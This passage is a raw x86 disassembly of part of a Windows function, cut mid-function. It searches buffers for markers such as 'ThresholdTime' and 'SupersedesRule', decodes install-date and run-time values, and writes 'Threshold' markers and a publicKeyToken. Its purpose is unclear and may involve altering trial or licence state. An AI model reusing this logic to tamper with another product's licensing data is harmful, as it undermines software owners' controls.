add eax, 0x10
mov dword [ebp - 0xf58], eax
mov eax, dword [ebp - 0xed8]
test eax, eax
je 0x406e4a
mov dword [ebp - 0xee8], eax
jmp 0x406ea0
mov eax, dword [ebp - 0xedc]
test eax, eax
je 0x406e5c
mov dword [ebp - 0xee8], eax
jmp 0x406ea0
mov eax, dword [ebp - 0xf50]
test eax, eax
je 0x406e6e
mov dword [ebp - 0xee8], eax
jmp 0x406ea0
mov eax, dword [ebp - 0xf3c]
test eax, eax
je 0x406e80
mov dword [ebp - 0xee8], eax
jmp 0x406ea0
mov eax, dword [ebp - 0xf28]
test eax, eax
je 0x406e92
mov dword [ebp - 0xee8], eax
jmp 0x406ea0
test edi, edi
je 0x40784d
mov dword [ebp - 0xee8], edi
mov eax, dword [ebp - 0xf54]
test eax, eax
jne 0x406eb9
mov dword [0x43e8c8], 0x24bf
jmp 0x40893c
add eax, 0xf
push eax
lea eax, [ebp - 0xcc0]
push str._.11s
push eax
call dword [ebp - 0xf2c]
add esp, 0xc
push dword [ebp - 0xee8]
push str._parserSearchThread_________RunMode_Status_________________.24s_
call fcn.00403960
lea eax, [ebp - 0xcc0]
push eax
push str._parserSearchThread_________WebSite_Call_Module____________s_
call fcn.00403960
add esp, 0x10
lea eax, [ebp - 0xcc0]
push eax
push 0x4509d0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp dword [ebp - 0xed8], 0
mov dword [ebp - 0xed8], 0x72656269
mov eax, dword [ebp - 0xed8]
mov byte [0x45095e], 0x4c
mov dword [0x45095f], eax
je 0x40717e
mov dword [0x450a88], 2
mov dword [ebp - 0xed8], 0
test esi, esi
je 0x4070f3
push str._ThresholdTime_
call dword [ebp - 0xee0]
cmp eax, 1
jl 0x4070f3
cmp eax, 0x800
jg 0x4070f3
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
lea edi, [eax - 1]
xor ecx, ecx
mov dword [ebp - 0xedc], edi
test edi, edi
jle 0x406fa6
mov edx, edi
nop word [eax + eax]
movzx eax, byte [ecx + str._ThresholdTime_]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, edi
jl 0x406f90
jmp 0x406fac
mov dword [ebp - 0xedc], edi
mov dl, byte [edi + str._ThresholdTime_]
mov byte [ebp - 0xed1], dl
nop dword [eax + eax]
mov cl, byte [edi + esi]
lea eax, [edi + esi]
mov byte [ebp - 0xed2], cl
cmp cl, dl
jne 0x40701c
mov ecx, dword [ebp - 0xedc]
test ecx, ecx
je 0x40706e
mov al, byte [edi + esi - 1]
lea edx, [edi - 1]
dec ecx
cmp al, byte [ecx + str._ThresholdTime_]
jne 0x407006
nop
test ecx, ecx
je 0x407063
mov al, byte [edx + esi - 1]
dec edx
dec ecx
cmp al, byte [ecx + str._ThresholdTime_]
je 0x406ff0
mov eax, dword [ebp - 0xed8]
test eax, eax
jne 0x40702e
mov cl, byte [ebp - 0xed2]
mov dl, byte [ebp - 0xed1]
movzx eax, cl
add edi, dword [ebp + eax*4 - 0xc90]
cmp edi, 0x800
jl 0x406fc0
mov edi, dword [ebp - 0xed8]
test edi, edi
je 0x4070f3
xor ecx, ecx
mov dword [0x450d98], 1
lea esi, [edi + 0xf]
xor edx, edx
nop dword [eax]
mov al, byte [edx + esi]
cmp al, 0x30
jb 0x407072
cmp al, 0x39
ja 0x407072
shl ecx, 4
add ecx, 0xffffffd0
jmp 0x407090
lea eax, [edx + esi]
mov dword [ebp - 0xed8], eax
jmp 0x40700c
mov edi, eax
jmp 0x407034
cmp al, 0x41
jb 0x407082
cmp al, 0x46
ja 0x407082
shl ecx, 4
add ecx, 0xffffffc9
jmp 0x407090
cmp al, 0x61
jb 0x407095
cmp al, 0x66
ja 0x407095
shl ecx, 4
add ecx, 0xffffffa9
movzx eax, al
add ecx, eax
inc edx
cmp edx, 8
jl 0x407050
push ecx
lea edx, [ebp - 0xcd0]
call fcn.00404910
movzx eax, word [ebp - 0xcca]
push eax
movzx eax, word [ebp - 0xcce]
push eax
movzx eax, word [ebp - 0xcd0]
push eax
push str._04d_02d_02d
push 0x450d84
call dword [ebp - 0xf2c]
add esp, 0x14
push edi
push esi
push str._parserSearchThread_________Install_Date___________________.8s____.42s_
call fcn.00403960
add esp, 0xc
push 0x450d84
push str._parserSearchThread_________Install_Date___________________s_
call fcn.00403960
add esp, 8
push str._ContextView_
push dword [ebp - 0xeec]
mov dword [ebp - 0xef0], 1
push dword [ebp - 0xee4]
call fcn.004040e0
push dword [ebp - 0xf10]
mov esi, eax
lea eax, [ebp - 0xcc0]
push str._08X
push eax
call dword [ebp - 0xf2c]
mov ecx, dword [ebp - 0xcc0]
add esp, 0xc
mov edx, dword [ebp - 0xcbc]
mov edi, dword [ebp - 0xee8]
mov dword [esi + 0xd], ecx
mov dword [esi + 0x11], edx
movups xmm0, xmmword [str._Threshold_A__Threshold_]
mov esi, dword [ebp - 0xf10]
push esi
movups xmmword [edi], xmm0
push str._parserSearchThread_________Install_Set_RunTime_____111____08X_
movq xmm0, qword [0x430050]
movq qword [edi + 0x10], xmm0
call fcn.00403960
add esp, 8
mov dword [0x450a84], esi
jmp 0x4074b8
cmp dword [ebp - 0xedc], 0
je 0x40733d
push str._ContextView_
push dword [ebp - 0xeec]
mov dword [0x450a88], 4
push dword [ebp - 0xee4]
mov dword [0x450d98], 0
call fcn.004040e0
xor esi, esi
xor ecx, ecx
lea edx, [eax + 0xd]
nop dword [eax]
mov al, byte [ecx + edx]
cmp al, 0x30
jb 0x4071d3
cmp al, 0x39
ja 0x4071d3
shl esi, 4
add esi, 0xffffffd0
jmp 0x4071f1
cmp al, 0x41
jb 0x4071e3
cmp al, 0x46
ja 0x4071e3
shl esi, 4
add esi, 0xffffffc9
jmp 0x4071f1
cmp al, 0x61
jb 0x4071f6
cmp al, 0x66
ja 0x4071f6
shl esi, 4
add esi, 0xffffffa9
movzx eax, al
add esi, eax
inc ecx
cmp ecx, 8
jl 0x4071c0
push esi
push edx
push str._parserSearchThread_________Install_Set_RunTime_____222____.8s___08X_
mov dword [0x450a84], esi
call fcn.00403960
mov edi, dword [ebp - 0xf10]
add esp, 0xc
cmp esi, edi
jb 0x407227
mov dword [ebp - 0xefc], 0x2455
jmp 0x407251
cmp edi, 0x5b76100
ja 0x40723b
mov dword [ebp - 0xefc], 0x2456
jmp 0x407251
xor eax, eax
mov ecx, 0x2457
cmp esi, 0x5b76100
cmovbe eax, ecx
mov dword [ebp - 0xefc], eax
push edi
push esi
push dword [ebp - 0xf08]
push str._parserSearchThread_________RunTime________________________d___08X_:__08X_
call fcn.00403840
lea eax, [esi + 0x13c680]
add esp, 0x10
cmp edi, eax
mov edi, dword [ebp - 0xee8]
jb 0x4072dd
movups xmm0, xmmword [str._Threshold_K__Threshold_]
mov dword [ebp - 0xed8], 0x72656269
mov eax, dword [ebp - 0xed8]
mov dword [0x45095f], eax
movups xmmword [edi], xmm0
mov dword [0x43e8e4], 0
movq xmm0, qword [0x43006c]
mov dword [0x43e8e0], 0
mov dword [0x43e8d4], 0
mov dword [ebp - 0xef0], 1
mov dword [0x450a88], 5
movq qword [edi + 0x10], xmm0
jmp 0x4074b8
cmp dword [ebp - 0xf08], 0
je 0x4074b8
or byte [0x450a8c], 1
mov dword [ebp - 0xed8], 0x72656269
mov eax, dword [ebp - 0xed8]
mov dword [0x43e8e4], 0
mov dword [0x43e8e0], 0
mov dword [0x43e8d4], 0
mov dword [ebp - 0xef0], 1
mov dword [0x450a88], 5
mov dword [0x45095f], eax
jmp 0x4074b8
cmp dword [ebp - 0xf50], 0
je 0x4073c7
push str._ContextView_
push dword [ebp - 0xeec]
mov dword [0x450a88], 5
push dword [ebp - 0xee4]
call fcn.004040e0
xor ecx, ecx
xor edx, edx
lea esi, [eax + 0xd]
mov al, byte [edx + esi]
cmp al, 0x30
jb 0x407384
cmp al, 0x39
ja 0x407384
shl ecx, 4
add ecx, 0xffffffd0
jmp 0x4073a2
cmp al, 0x41
jb 0x407394
cmp al, 0x46
ja 0x407394
shl ecx, 4
add ecx, 0xffffffc9
jmp 0x4073a2
cmp al, 0x61
jb 0x4073a7
cmp al, 0x66
ja 0x4073a7
shl ecx, 4
add ecx, 0xffffffa9
movzx eax, al
add ecx, eax
inc edx
cmp edx, 8
jl 0x407371
push ecx
push esi
push str._parserSearchThread_________Install_Set_RunTime_____333____.8s___08X_
mov dword [0x450a84], ecx
call fcn.00403960
add esp, 0xc
jmp 0x4074b2
cmp dword [ebp - 0xf3c], 0
je 0x4073d7
mov eax, 4
jmp 0x4073e5
cmp dword [ebp - 0xf28], 0
je 0x4073f4
mov eax, 6
mov dword [0x450a88], eax
test edi, edi
je 0x4074b2
jmp 0x407406
test edi, edi
je 0x4074a8
mov dword [0x450a88], 8
push str._ContextView_
push dword [ebp - 0xeec]
push dword [ebp - 0xee4]
call fcn.004040e0
xor ecx, ecx
xor edx, edx
lea esi, [eax + 0xd]
mov al, byte [edx + esi]
cmp al, 0x30
jb 0x407436
cmp al, 0x39
ja 0x407436
shl ecx, 4
add ecx, 0xffffffd0
jmp 0x407454
cmp al, 0x41
jb 0x407446
cmp al, 0x46
ja 0x407446
shl ecx, 4
add ecx, 0xffffffc9
jmp 0x407454
cmp al, 0x61
jb 0x407459
cmp al, 0x66
ja 0x407459
shl ecx, 4
add ecx, 0xffffffa9
movzx eax, al
add ecx, eax
inc edx
cmp edx, 8
jl 0x407423
push ecx
push esi
push str._parserSearchThread_________Install_Set_RunTime_____444____.8s___08X_
mov dword [0x450a84], ecx
call fcn.00403960
add esp, 0xc
mov dword [0x450d98], 0
mov dword [0x43e8e4], 0x19
mov dword [0x43e8e0], 9
mov dword [0x43e8dc], 0x19
mov dword [0x43e8d8], 9
jmp 0x4074b2
mov dword [0x450a88], 7
mov edi, dword [ebp - 0xee8]
mov eax, dword [ebp - 0xefc]
mov dword [ebp - 0xefc], eax
lea eax, [ebp - 0xcc0]
push eax
push str._parserSearchThread_________EnvFile1________PHP_Module_____s_
call fcn.00403960
push 0x450958
push str._parserSearchThread_________EnvFile1________Linux_Font_____s_
call fcn.00403960
mov esi, dword [ebp - 0xf40]
lea eax, [ebp - 0x890]
push str.parsertype1.txt
push 0x4519f8
push 0x42f890
push eax
call esi
push str.parsertype2.txt
push 0x4519f8
lea eax, [ebp - 0x690]
push 0x42f890
push eax
call esi
push str.parsertype3.txt
push 0x4519f8
lea eax, [ebp - 0xa90]
push 0x42f890
push eax
call esi
add esp, 0x40
lea eax, [ebp - 0x890]
push eax
call dword [ebp - 0xef4]
mov esi, eax
call dword [ebp - 0xf1c]
cmp esi, 0xffffffff
je 0x40756e
mov dword [ebp - 0xed8], 0x72656269
mov eax, dword [ebp - 0xed8]
mov dword [0x450a88], 8
mov dword [0x45095f], eax
lea eax, [ebp - 0x690]
push eax
call dword [ebp - 0xef4]
mov esi, eax
call dword [ebp - 0xf1c]
cmp esi, 0xffffffff
je 0x4075a7
mov dword [ebp - 0xed8], 0x72656269
mov eax, dword [ebp - 0xed8]
mov dword [0x450a88], 9
mov dword [0x45095f], eax
lea eax, [ebp - 0xa90]
push eax
call dword [ebp - 0xef4]
mov esi, eax
call dword [ebp - 0xf1c]
cmp esi, 0xffffffff
je 0x4075e0
mov dword [ebp - 0xed8], 0x72656269
mov eax, dword [ebp - 0xed8]
mov dword [0x450a88], 0xa
mov dword [0x45095f], eax
mov ecx, dword [ebp - 0xf58]
cmp byte [ecx + 8], 0x2d
jne 0x407635
cmp byte [ecx + 0xe], 0x2d
jne 0x407635
cmp byte [ecx + 0x14], 0x2d
jne 0x407635
cmp byte [ecx + 0x1a], 0x2d
jne 0x407635
movups xmm0, xmmword [ecx]
mov esi, dword [ebp - 0xef0]
movups xmmword [ebp - 0xcc0], xmm0
movups xmm0, xmmword [ecx + 0x10]
movups xmmword [ebp - 0xcb0], xmm0
mov eax, dword [ecx + 0x20]
mov dword [ebp - 0xca0], eax
mov ax, word [ecx + 0x24]
mov word [ebp - 0xc9c], ax
mov al, byte [ecx + 0x26]
jmp 0x407690
movups xmm0, xmmword [str.FFFFFFFF_FFFFF_FFFFF_FFFFF_FFFFFFFFFFFF]
mov eax, dword [0x431168]
mov esi, 1
or byte [0x450a8c], 2
movups xmmword [ebp - 0xcc0], xmm0
mov dword [ebp - 0xca0], eax
movups xmm0, xmmword [0x431158]
mov ax, word [0x43116c]
mov word [ebp - 0xc9c], ax
mov al, byte [0x43116e]
mov dword [0x43e8d4], 0
mov dword [ebp - 0xef0], esi
mov dword [ebp - 0xf08], esi
movups xmmword [ebp - 0xcb0], xmm0
mov byte [ebp - 0xc9a], al
lea eax, [ebp - 0xcc0]
push eax
push 0x450980
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0xcc0]
push eax
push str._parserSearchThread_________publicKeyToken_________________.39s_
call fcn.00403960
mov eax, dword [ebp - 0xca0]
movups xmm0, xmmword [ebp - 0xcc0]
mov ecx, dword [ebp - 0xefc]
mov dword [0x452238], eax
mov ax, word [ebp - 0xc9c]
mov word [0x45223c], ax
mov al, byte [ebp - 0xc9a]
mov byte [0x45223e], al
mov eax, dword [ebp - 0xf08]
push eax
push esi
push ecx
push eax
movups xmmword [0x452218], xmm0
push esi
movups xmm0, xmmword [ebp - 0xcb0]
push str._parserSearchThread_________MainSetKeyCode_________________d_:__d___d___d_:__d_
mov dword [0x43e8c8], ecx
movups xmmword [0x452228], xmm0
call fcn.00403840
push dword [ebp - 0xf08]
push esi
push str._parserSearchThread_________Loop_End_______________________d_:__d_
call fcn.00403960
mov esi, dword [ebp - 0xefc]
add esp, 0x2c
cmp dword [ebp - 0xef0], 0
je 0x40893c
cmp dword [ebp - 0xf08], 0
mov dword [ebp - 0xefc], esi
je 0x407813
mov ecx, dword [0x43e8dc]
mov edx, 9
mov eax, dword [0x43e8d8]
cmp ecx, 9
push 1
cmovg ecx, edx
mov dword [0x43e8e4], 0
cmp eax, edx
mov dword [0x43e8dc], ecx
push dword [ebp - 0xf34]
cmovg eax, edx
mov dword [0x43e8e0], 0
mov edx, dword [ebp - 0xf20]
add cl, 0x30
mov dword [0x43e8d8], eax
add al, 0x30
mov dword [0x43e8d4], 0
mov byte [edx + 0x17], 0x30
mov edx, dword [ebp - 0xf14]
mov byte [edx + 0x10], 0x30
mov edx, dword [ebp - 0xf04]
mov byte [edx + 0x10], cl
mov edx, dword [ebp - 0xf00]
mov byte [edx + 0x10], al
mov edx, dword [ebp - 0xf44]
mov byte [edx + 4], cl
lea ecx, [ebp - 0x490]
mov byte [edx], 0x30
mov byte [edx + 2], 0x30
mov byte [edx + 6], al
movups xmm0, xmmword [str._Threshold_K__Threshold_]
mov edx, dword [ebp - 0xf24]
movups xmmword [edi], xmm0
movq xmm0, qword [0x43006c]
movq qword [edi + 0x10], xmm0
call fcn.00403b90
add esp, 8
mov dword [ebp - 0xefc], esi
jmp 0x40886e
cmp dword [ebp - 0xf0c], 0
je 0x40886e
mov edx, dword [ebp - 0xf24]
lea ecx, [ebp - 0x490]
push 1
push dword [ebp - 0xf34]
call fcn.00403b90
mov eax, dword [ebp - 0xefc]
add esp, 8
mov dword [ebp - 0xefc], eax
jmp 0x40886e
mov dword [0x43e8c8], 0x24be
jmp 0x40893c
mov dword [0x43e8c8], 0x24bd
jmp 0x40893c
mov dword [0x43e8c8], 0x24bc
jmp 0x40893c
mov dword [0x43e8c8], 0x24bb
jmp 0x40893c
mov dword [0x43e8c8], 0x24ba
jmp 0x40893c
mov dword [0x43e8c8], 0x24b9
jmp 0x40893c
mov edi, dword [ebp - 0xf18]
push 0x450a20
push edi
push dword [ebp - 0xef8]
call fcn.004040e0
push 0x4509e0
push edi
push dword [ebp - 0xef8]
mov esi, eax
mov dword [ebp - 0xeec], esi
call fcn.004040e0
push 0x450a00
push edi
push dword [ebp - 0xef8]
mov dword [ebp - 0xf1c], eax
call fcn.004040e0
push 0x4509f0
push edi
push dword [ebp - 0xef8]
mov dword [ebp - 0xf14], eax
call fcn.004040e0
push str.font_family:_MS_Sans_Serif_
push dword [ebp - 0xf24]
mov edi, eax
push dword [ebp - 0xf34]
mov dword [ebp - 0xed8], edi
call fcn.004040e0
push esi
push str._parserSearchThread_________Search__lp007KeyAddr___________08X_
mov dword [ebp - 0xf10], eax
call fcn.00403960
push dword [ebp - 0xf14]
push str._parserSearchThread_________Search__lp101KeyAddr___________08X_
call fcn.00403960
push edi
push str._parserSearchThread_________Search__lp503KeyAddr___________08X_
call fcn.00403960
push dword [ebp - 0xf10]
push str._parserSearchThread_________Search__lpChkKeyAddr___________08X_
call fcn.00403960
mov eax, dword [ebp - 0xef8]
xor edi, edi
sub eax, dword [ebp - 0xf14]
add esp, 0x20
add eax, dword [ebp - 0xf18]
mov dword [ebp - 0xf3c], eax
mov dword [ebp - 0xf08], edi
test esi, esi
je 0x407ace
push str._MinimumNumberOfValues_
call dword [ebp - 0xee0]
cmp eax, 1
jl 0x407ace
cmp eax, 0x800
jg 0x407ace
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
dec eax
xor ecx, ecx
mov dword [ebp - 0xedc], eax
test eax, eax
jle 0x4079fa
mov esi, eax
mov edx, esi
nop word [eax + eax]
movzx eax, byte [ecx + str._MinimumNumberOfValues_]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, esi
jl 0x4079d0
mov dh, byte [esi + str._MinimumNumberOfValues_]
mov edi, esi
mov esi, dword [ebp - 0xeec]
mov eax, dword [ebp - 0xedc]
jmp 0x407a08
mov dh, byte [eax + str._MinimumNumberOfValues_]
mov edi, eax
mov dword [ebp - 0xedc], eax
mov byte [ebp - 0xed1], dh
nop
mov dl, byte [edi + esi]
lea ecx, [edi + esi]
mov byte [ebp - 0xed2], dl
cmp dl, dh
jne 0x407a79
test eax, eax
je 0x407a9c
lea edx, [edi - 1]
lea ecx, [eax - 1]
mov al, byte [edx + esi]
cmp al, byte [ecx + str._MinimumNumberOfValues_]
jne 0x407a52
nop dword [eax]
test ecx, ecx
je 0x407a6e
mov al, byte [edx + esi - 1]
dec edx
dec ecx
cmp al, byte [ecx + str._MinimumNumberOfValues_]
je 0x407a40
mov ecx, dword [ebp - 0xf08]
test ecx, ecx
jne 0x407ac8
mov dl, byte [ebp - 0xed2]
mov dh, byte [ebp - 0xed1]
jmp 0x407a7f
lea ecx, [edx + esi]
mov dword [ebp - 0xf08], ecx
jmp 0x407a58
mov ecx, dword [ebp - 0xf08]
movzx eax, dl
add edi, dword [ebp + eax*4 - 0xc90]
cmp edi, 0x800
jge 0x407ab6
mov eax, dword [ebp - 0xedc]
jmp 0x407a10
mov edi, ecx
mov dword [ebp - 0xf00], 0
mov dword [ebp - 0xf08], edi
mov dword [ebp - 0xf20], edi
jmp 0x407ae6
mov dword [ebp - 0xf20], ecx
mov dword [ebp - 0xf00], 0
jmp 0x407ae6
mov edi, dword [ebp - 0xf08]
mov dword [ebp - 0xf20], edi
mov dword [ebp - 0xf00], 0
test esi, esi
je 0x407bff
push str._SupersedesRule_
call dword [ebp - 0xee0]
cmp eax, 1
jl 0x407bff
cmp eax, 0x800
jg 0x407bff
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
dec eax
xor ecx, ecx
mov dword [ebp - 0xedc], eax
test eax, eax
jle 0x407b5a
mov esi, eax
mov edx, esi
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ecx + str._SupersedesRule_]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, esi
jl 0x407b30
mov dh, byte [esi + str._SupersedesRule_]
mov edi, esi
mov esi, dword [ebp - 0xeec]
mov eax, dword [ebp - 0xedc]
jmp 0x407b68
mov dh, byte [eax + str._SupersedesRule_]
mov edi, eax
mov dword [ebp - 0xedc], eax
mov byte [ebp - 0xed1], dh
nop
mov dl, byte [edi + esi]
lea ecx, [edi + esi]
mov byte [ebp - 0xed2], dl
cmp dl, dh
jne 0x407bc8
test eax, eax
je 0x407bed
lea edx, [edi - 1]
lea ecx, [eax - 1]
mov al, byte [edx + esi]
cmp al, byte [ecx + str._SupersedesRule_]
jne 0x407bb2
nop dword [eax]
test ecx, ecx
je 0x407be2
mov al, byte [edx + esi - 1]
dec edx
dec ecx
cmp al, byte [ecx + str._SupersedesRule_]
je 0x407ba0
mov eax, dword [ebp - 0xf00]
test eax, eax
jne 0x407bff
mov dl, byte [ebp - 0xed2]
mov dh, byte [ebp - 0xed1]
movzx eax, dl
add edi, dword [ebp + eax*4 - 0xc90]
cmp edi, 0x800
jge 0x407bf3
mov eax, dword [ebp - 0xedc]
jmp 0x407b70
lea eax, [edx + esi]
mov dword [ebp - 0xf00], eax
jmp 0x407bb8
mov dword [ebp - 0xf00], ecx
mov dword [ebp - 0xef0], 0
jmp 0x407c11
mov dword [ebp - 0xef0], 0
test esi, esi
je 0x407d3f
push str._SupersedesLoad_
call dword [ebp - 0xee0]
cmp eax, 1
jl 0x407d3f
cmp eax, 0x800
jg 0x407d3f
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
dec eax
xor ecx, ecx
mov dword [ebp - 0xedc], eax
test eax, eax
jle 0x407c7a
mov esi, eax
mov edx, esi
nop
movzx eax, byte [ecx + str._SupersedesLoad_]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, esi
jl 0x407c50
mov dh, byte [esi + str._SupersedesLoad_]
mov edi, esi
mov esi, dword [ebp - 0xeec]
mov eax, dword [ebp - 0xedc]
jmp 0x407c88
mov dh, byte [eax + str._SupersedesLoad_]
mov edi, eax
mov dword [ebp - 0xedc], eax
mov byte [ebp - 0xed1], dh
nop
mov dl, byte [edi + esi]
lea ecx, [edi + esi]
mov byte [ebp - 0xed2], dl
cmp dl, dh
jne 0x407ce8
test eax, eax
je 0x407d0d
lea edx, [edi - 1]
lea ecx, [eax - 1]
mov al, byte [edx + esi]
cmp al, byte [ecx + str._SupersedesLoad_]
jne 0x407cd2
nop dword [eax]
test ecx, ecx
je 0x407d02
mov al, byte [edx + esi - 1]
dec edx
dec ecx
cmp al, byte [ecx + str._SupersedesLoad_]
je 0x407cc0
mov eax, dword [ebp - 0xef0]
test eax, eax
jne 0x407d3f
mov dl, byte [ebp - 0xed2]
mov dh, byte [ebp - 0xed1]
movzx eax, dl
add edi, dword [ebp + eax*4 - 0xc90]
cmp edi, 0x800
jge 0x407d27
mov eax, dword [ebp - 0xedc]
jmp 0x407c90
lea eax, [edx + esi]
mov dword [ebp - 0xef0], eax
jmp 0x407cd8
mov eax, ecx
mov dword [ebp - 0xf04], 0
mov dword [ebp - 0xef0], eax
mov dword [ebp - 0xf0c], eax
jmp 0x407d5d
mov edi, dword [ebp - 0xef0]
mov dword [ebp - 0xf0c], edi
mov dword [ebp - 0xf04], 0
jmp 0x407d5d
mov eax, dword [ebp - 0xef0]
mov dword [ebp - 0xf0c], eax
mov dword [ebp - 0xf04], 0
test esi, esi
je 0x407e63
push str._SupersedesHold_
call dword [ebp - 0xee0]
cmp eax, 1
jl 0x407e63
cmp eax, 0x800
jg 0x407e63
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
dec eax
xor ecx, ecx
mov dword [ebp - 0xedc], eax
test eax, eax
jle 0x407dca
mov esi, eax
mov edx, esi
nop word [eax + eax]
movzx eax, byte [ecx + str._SupersedesHold_]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, esi
jl 0x407da0
mov dh, byte [esi + str._SupersedesHold_]
mov edi, esi
mov esi, dword [ebp - 0xeec]
mov eax, dword [ebp - 0xedc]
jmp 0x407dd8
mov dh, byte [eax + str._SupersedesHold_]
mov edi, eax
mov dword [ebp - 0xedc], eax
mov byte [ebp - 0xed1], dh
nop
mov dl, byte [edi + esi]
lea ecx, [edi + esi]
mov byte [ebp - 0xed2], dl
cmp dl, dh
jne 0x407e38
test eax, eax
je 0x407e5d
lea edx, [edi - 1]
lea ecx, [eax - 1]
mov al, byte [edx + esi]
cmp al, byte [ecx + str._SupersedesHold_]
jne 0x407e22
nop dword [eax]
test ecx, ecx
je 0x407e52
mov al, byte [edx + esi - 1]
dec edx
dec ecx
cmp al, byte [ecx + str._SupersedesHold_]
je 0x407e10
mov eax, dword [ebp - 0xf04]
test eax, eax
jne 0x407e63
mov dl, byte [ebp - 0xed2]
mov dh, byte [ebp - 0xed1]
movzx eax, dl
add edi, dword [ebp + eax*4 - 0xc90]
cmp edi, 0x800
jge 0x407e63
mov eax, dword [ebp - 0xedc]
jmp 0x407de0
lea eax, [edx + esi]
mov dword [ebp - 0xf04], eax
jmp 0x407e28
mov dword [ebp - 0xf04], ecx
mov esi, dword [ebp - 0xf3c]
mov edi, dword [ebp - 0xf14]
push str._Threshold_A__Threshold_
push esi
push edi
call fcn.004040e0
push str._Threshold_K__Threshold_
push esi
push edi
mov dword [ebp - 0xf44], eax
call fcn.004040e0
cmp dword [ebp - 0xed8], 0
mov esi, dword [ebp - 0xee0]
mov dword [ebp - 0xf28], eax
mov dword [ebp - 0xedc], 0
je 0x407f99
push str._MinimumNumberOfValues_
call esi
cmp eax, 1
jl 0x407f99
cmp eax, 0x800
jg 0x407f99
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
lea edi, [eax - 1]
xor ecx, ecx
test edi, edi
jle 0x407f04
mov edx, edi
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ecx + str._MinimumNumberOfValues_]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, edi
jl 0x407ef0
mov dl, byte [edi + str._MinimumNumberOfValues_]
mov esi, edi
mov byte [ebp - 0xed1], dl
mov eax, dword [ebp - 0xed8]
add eax, esi
mov cl, byte [eax]
mov byte [ebp - 0xed2], cl
cmp cl, dl
jne 0x407f6f
test edi, edi
je 0x407f8d
mov eax, dword [ebp - 0xed8]
lea edx, [esi - 1]
lea ecx, [edi - 1]
mov al, byte [edx + eax]
cmp al, byte [ecx + str._MinimumNumberOfValues_]
jne 0x407f59
mov eax, dword [ebp - 0xed8]
test ecx, ecx
je 0x407f83
mov al, byte [edx + eax - 1]
dec edx
dec ecx
cmp al, byte [ecx + str._MinimumNumberOfValues_]
je 0x407f41
mov eax, dword [ebp - 0xedc]
test eax, eax
jne 0x407f93
mov cl, byte [ebp - 0xed2]
mov dl, byte [ebp - 0xed1]
movzx eax, cl
add esi, dword [ebp + eax*4 - 0xc90]
cmp esi, 0x800
jl 0x407f12
jmp 0x407f93
add eax, edx
mov dword [ebp - 0xedc], eax
jmp 0x407f5f
mov dword [ebp - 0xedc], eax
mov esi, dword [ebp - 0xee0]
xor edi, edi
mov dword [ebp - 0xef4], edi
cmp dword [ebp - 0xf10], edi
je 0x40808e
push str.mso_font_signature:
call esi
cmp eax, 1
jl 0x40808e
cmp eax, 0x200
jg 0x40808e
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
lea edi, [eax - 1]
xor ecx, ecx
test edi, edi
jle 0x407ff4
mov edx, edi
movzx eax, byte [ecx + str.mso_font_signature:]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, edi
jl 0x407fe0
mov dl, byte [edi + str.mso_font_signature:]
mov esi, edi
mov byte [ebp - 0xed1], dl
mov eax, dword [ebp - 0xf10]
add eax, esi
mov cl, byte [eax]
mov byte [ebp - 0xed2], cl
cmp cl, dl
jne 0x408072
test edi, edi
je 0x408244
mov eax, dword [ebp - 0xf10]
lea edx, [esi - 1]
lea ecx, [edi - 1]
mov al, byte [edx + eax]
cmp al, byte [ecx + str.mso_font_signature:]
jne 0x40805c
nop word [eax + eax]
mov eax, dword [ebp - 0xf10]
test ecx, ecx
je 0x408237
mov al, byte [edx + eax - 1]
dec edx
dec ecx
cmp al, byte [ecx + str.mso_font_signature:]
je 0x408040
mov eax, dword [ebp - 0xef4]
test eax, eax
jne 0x408088
mov cl, byte [ebp - 0xed2]
mov dl, byte [ebp - 0xed1]
movzx eax, cl
add esi, dword [ebp + eax*4 - 0xc90]
cmp esi, 0x200
jl 0x408002
mov edi, dword [ebp - 0xef4]
mov eax, dword [ebp - 0xf44]
test eax, eax
mov esi, dword [ebp - 0xf28]
push dword [ebp - 0xf08]
cmovne esi, eax
push str._parserSearchThread_________Search__lpDataAddr1____________08X_
mov dword [ebp - 0xf58], esi
call fcn.00403960
push dword [ebp - 0xf00]
push str._parserSearchThread_________Search__lpDataAddr2____________08X_
call fcn.00403960
push dword [ebp - 0xef0]
push str._parserSearchThread_________Search__lpDataAddr3____________08X_
call fcn.00403960
push dword [ebp - 0xf04]
push str._parserSearchThread_________Search__lpDataAddr4____________08X_
call fcn.00403960
mov eax, dword [ebp - 0xf44]
push eax
push str._parserSearchThread_________Search__lpDataAddr6____________08X_
call fcn.00403960
push dword [ebp - 0xf28]
push str._parserSearchThread_________Search__lpDataAddr7____________08X_
call fcn.00403960
push dword [ebp - 0xedc]
push str._parserSearchThread_________Search__lpDataAddr8____________08X_
call fcn.00403960
push edi
push str._parserSearchThread_________Search__lpDataAddr9____________08X_
call fcn.00403960
add esp, 0x40
push esi
push str._parserSearchThread_________Search__lpEditionAddr__________08X_
call fcn.00403960
mov eax, dword [ebp - 0xf4c]
add esp, 8
mov ecx, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 0xf2c], ecx
cmp eax, 3
jne 0x40832a
cmp dword [ebp - 0xf1c], 0
mov dword [ebp - 0xed8], 0
je 0x408267
push str._MinimumNumberOfValues_
call dword [ebp - 0xee0]
cmp eax, 1
